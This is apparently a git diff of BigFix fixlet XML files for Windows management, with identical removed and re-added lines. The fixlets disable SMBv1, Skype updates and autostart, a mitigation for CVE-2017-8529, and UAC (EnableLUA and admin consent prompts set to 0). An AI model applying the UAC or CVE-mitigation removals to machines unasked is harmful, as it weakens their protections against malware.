+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 18:54:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+wait sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
+wait sc.exe config mrxsmb10 start= disabled</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes
index 7d0919fd1..046ac6193 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes	
@@ -1,52 +1,52 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Skype Auto-update - Improved
-  ID       : 3662
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-12-04T13:45:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Skype Auto-update - Improved</Title>
-    <Description>The listed computers have Skype installed and configured to check for updates automatically. Deploying the action below will disable Skype auto-update. </Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance><![CDATA[version of client >= "7"]]></Relevance>
-    <Relevance>not exists values &quot;PROCESSOR_ARCHITECTURE&quot; whose (it as string as lowercase = &quot;ia64&quot;) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry</Relevance>
-    <Relevance><![CDATA[/* Windows 2000 or later */ version of operating system >= "5.0" /* http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx */]]></Relevance>
-    <Relevance>/* Only relevant if skype is installed */ exists key &quot;HKLM\Software\Skype&quot; whose(exists key &quot;Phone&quot; of it AND exists value &quot;SkypePath&quot; of key &quot;Phone&quot; of it) of registry</Relevance>
-    <Relevance>/* Only relevant if skype is installed */ exists file ((value &quot;SkypePath&quot; of key &quot;Phone&quot; of it as string) of key &quot;HKLM\Software\Skype&quot; of registry)</Relevance>
-    <Relevance><![CDATA[( /* Check if updates are disabled for Skype < version 6.5 */ ((version of file (value "SkypePath" of key "Phone" of it as string) < "6.5") AND (not exist key "Phone" whose (value "DisableVersionCheck" of it = 1) of it)) OR /* Check if updates are disabled for Skype >= version 6.5 */ ((version of file (value "SkypePath" of key "Phone" of it as string) >= "6.5") AND (not exist key "Installer" whose (value "InstallUpdates" of it = 0) of it))) of key "HKLM\Software\Skype" of registry]]></Relevance>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2013-12-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 16 Feb 2012 05:41:45 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 04 Dec 2013 20:26:28 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action3939">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to disable Skype Auto-update.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// http://www.updatefreezer.org/index.php?id=4
-// http://download.skype.com/share/business/guides/skype-it-administrators-guide.pdf
-// http://www.tersetechtips.com/disable-skype-forced-updates/
-
-if{((version of file (value "SkypePath" of key "Phone" of it as string)) of key "HKLM\Software\Skype" of registry) < "6.5"}
-	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Skype\Phone]" "DisableVersionCheck"=dword:00000001
-else
-	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Skype\Installer]" "InstallUpdates"=dword:00000000
-endif]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Skype Auto-update - Improved
+  ID       : 3662
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-12-04T13:45:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Skype Auto-update - Improved</Title>
+    <Description>The listed computers have Skype installed and configured to check for updates automatically. Deploying the action below will disable Skype auto-update. </Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[version of client >= "7"]]></Relevance>
+    <Relevance>not exists values &quot;PROCESSOR_ARCHITECTURE&quot; whose (it as string as lowercase = &quot;ia64&quot;) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry</Relevance>
+    <Relevance><![CDATA[/* Windows 2000 or later */ version of operating system >= "5.0" /* http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx */]]></Relevance>
+    <Relevance>/* Only relevant if skype is installed */ exists key &quot;HKLM\Software\Skype&quot; whose(exists key &quot;Phone&quot; of it AND exists value &quot;SkypePath&quot; of key &quot;Phone&quot; of it) of registry</Relevance>
+    <Relevance>/* Only relevant if skype is installed */ exists file ((value &quot;SkypePath&quot; of key &quot;Phone&quot; of it as string) of key &quot;HKLM\Software\Skype&quot; of registry)</Relevance>
+    <Relevance><![CDATA[( /* Check if updates are disabled for Skype < version 6.5 */ ((version of file (value "SkypePath" of key "Phone" of it as string) < "6.5") AND (not exist key "Phone" whose (value "DisableVersionCheck" of it = 1) of it)) OR /* Check if updates are disabled for Skype >= version 6.5 */ ((version of file (value "SkypePath" of key "Phone" of it as string) >= "6.5") AND (not exist key "Installer" whose (value "InstallUpdates" of it = 0) of it))) of key "HKLM\Software\Skype" of registry]]></Relevance>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2013-12-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 16 Feb 2012 05:41:45 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Dec 2013 20:26:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action3939">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable Skype Auto-update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// http://www.updatefreezer.org/index.php?id=4
+// http://download.skype.com/share/business/guides/skype-it-administrators-guide.pdf
+// http://www.tersetechtips.com/disable-skype-forced-updates/
+
+if{((version of file (value "SkypePath" of key "Phone" of it as string)) of key "HKLM\Software\Skype" of registry) < "6.5"}
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Skype\Phone]" "DisableVersionCheck"=dword:00000001
+else
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Skype\Installer]" "InstallUpdates"=dword:00000000
+endif]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes
index e8d0b34f8..9edf8da47 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable Skype start with windows
-  ID       : 727
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-05T11:22:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable Skype start with windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
-    <Relevance>(exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Skype&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) AND (exists key &quot;HKLM\Software\Skype\Phone&quot; of registry)</Relevance>
-    <Relevance><![CDATA[exists (value "Skype" of key "Software\Microsoft\Windows\CurrentVersion\Run" of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) as string as lowercase)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2012-05-31</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 01 Jun 2012 14:25:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regdelete "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Windows\CurrentVersion\Run")}]" "Skype"
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable Skype start with windows
+  ID       : 727
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T11:22:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable Skype start with windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance>(exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Skype&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) AND (exists key &quot;HKLM\Software\Skype\Phone&quot; of registry)</Relevance>
+    <Relevance><![CDATA[exists (value "Skype" of key "Software\Microsoft\Windows\CurrentVersion\Run" of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) as string as lowercase)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-05-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 01 Jun 2012 14:25:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regdelete "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Windows\CurrentVersion\Run")}]" "Skype"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes
index 1c5b919e3..e8687ae4d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes	
@@ -1,67 +1,67 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016
-  ID       : 24650
-  Author   : JasonL
-  Domain   : BESC
-  Imported : 2017-10-05T03:09:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016</Title>
-    <Description><![CDATA[
-<DIV class=FixletMessage>
-<TABLE><TBODY><TR><TD> <DIV class=FixletMessage> <P>Use this Fixlet to disable solution to CVE-2017-8529.</P> </DIV></TD></TR></TBODY></TABLE>
-</DIV>
-<DIV class=FixletProperty>
-<H4>File Size:</H4>
-Unspecified
- </DIV>
-]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>not ia64 of operating system</Relevance>
-    <Relevance>((name of it = &quot;Win2008&quot;) AND service pack major version of it = 2 OR (name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1 OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win10&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot; OR name of it = &quot;Win2016&quot;) of operating system</Relevance>
-    <Relevance>exist keys &quot;FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX&quot; whose (value &quot;iexplore.exe&quot; of it as integer = 1) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl&quot; of native registry</Relevance>
-    <Relevance>not pending restart &quot;d43b4c2f9e88dcf95a8171a5d5bb90ae26776e57&quot;</Relevance>
-    <Category>Setting</Category>
-    <Source>Microsoft</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2017-09-12</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>CVE-2017-8529</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action25717">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000000
-
-if {x64 of operating system}
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000000
-endif
-
-action requires restart &quot;d43b4c2f9e88dcf95a8171a5d5bb90ae26776e57&quot;</ActionScript>
-    </Action>
-    <Action ID="Action25718">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the Security Guidance Article for this update.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8529</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016
+  ID       : 24650
+  Author   : JasonL
+  Domain   : BESC
+  Imported : 2017-10-05T03:09:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016</Title>
+    <Description><![CDATA[
+<DIV class=FixletMessage>
+<TABLE><TBODY><TR><TD> <DIV class=FixletMessage> <P>Use this Fixlet to disable solution to CVE-2017-8529.</P> </DIV></TD></TR></TBODY></TABLE>
+</DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>
+Unspecified
+ </DIV>
+]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>((name of it = &quot;Win2008&quot;) AND service pack major version of it = 2 OR (name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1 OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win10&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot; OR name of it = &quot;Win2016&quot;) of operating system</Relevance>
+    <Relevance>exist keys &quot;FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX&quot; whose (value &quot;iexplore.exe&quot; of it as integer = 1) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl&quot; of native registry</Relevance>
+    <Relevance>not pending restart &quot;d43b4c2f9e88dcf95a8171a5d5bb90ae26776e57&quot;</Relevance>
+    <Category>Setting</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-09-12</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>CVE-2017-8529</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action25717">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000000
+
+if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000000
+endif
+
+action requires restart &quot;d43b4c2f9e88dcf95a8171a5d5bb90ae26776e57&quot;</ActionScript>
+    </Action>
+    <Action ID="Action25718">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the Security Guidance Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8529</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes
index 1d6aa8078..30bf19e86 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable UAC
-  ID       : 1376
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-01-14T10:18:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable UAC</Title>
-    <Description><![CDATA[If you’ve used Windows&nbsp;since the release of Vista for more than 3.7 minutes, you know what UAC (User Account Control) is.. it’s the obnoxious, nagging popup window that will be your life for the next 3-5 years unless you switch back to XP in frustration, or to a better OS like… OS X, Suse, Ubuntu, or even XP.]]></Description>
-    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
-    <Relevance>value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of registry = 1 OR value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of x64 registry = 1</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-01-14</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 14 Jan 2013 15:33:10 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:0
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:0
-endif
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable UAC
+  ID       : 1376
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-14T10:18:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable UAC</Title>
+    <Description><![CDATA[If you’ve used Windows&nbsp;since the release of Vista for more than 3.7 minutes, you know what UAC (User Account Control) is.. it’s the obnoxious, nagging popup window that will be your life for the next 3-5 years unless you switch back to XP in frustration, or to a better OS like… OS X, Suse, Ubuntu, or even XP.]]></Description>
+    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of registry = 1 OR value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of x64 registry = 1</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-01-14</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 14 Jan 2013 15:33:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:0
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:0
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes
index 0f414265c..c4d42283f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable UAC
-  ID       : 26610
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2019-03-06T10:18:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable UAC</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-03-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 Mar 2019 18:16:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
-delete __createfile
-Createfile until END_OF_FILE
-Windows Registry Editor Version 5.00
-
-[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
-&quot;ConsentPromptBehaviorAdmin&quot;=dword:00000000
-&quot;EnableLUA&quot;=dword:00000000
-
-END_OF_FILE
-delete uac.reg
-move __createfile uac.reg
-
-waithidden regedit /s uac.reg
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable UAC
+  ID       : 26610
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2019-03-06T10:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable UAC</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
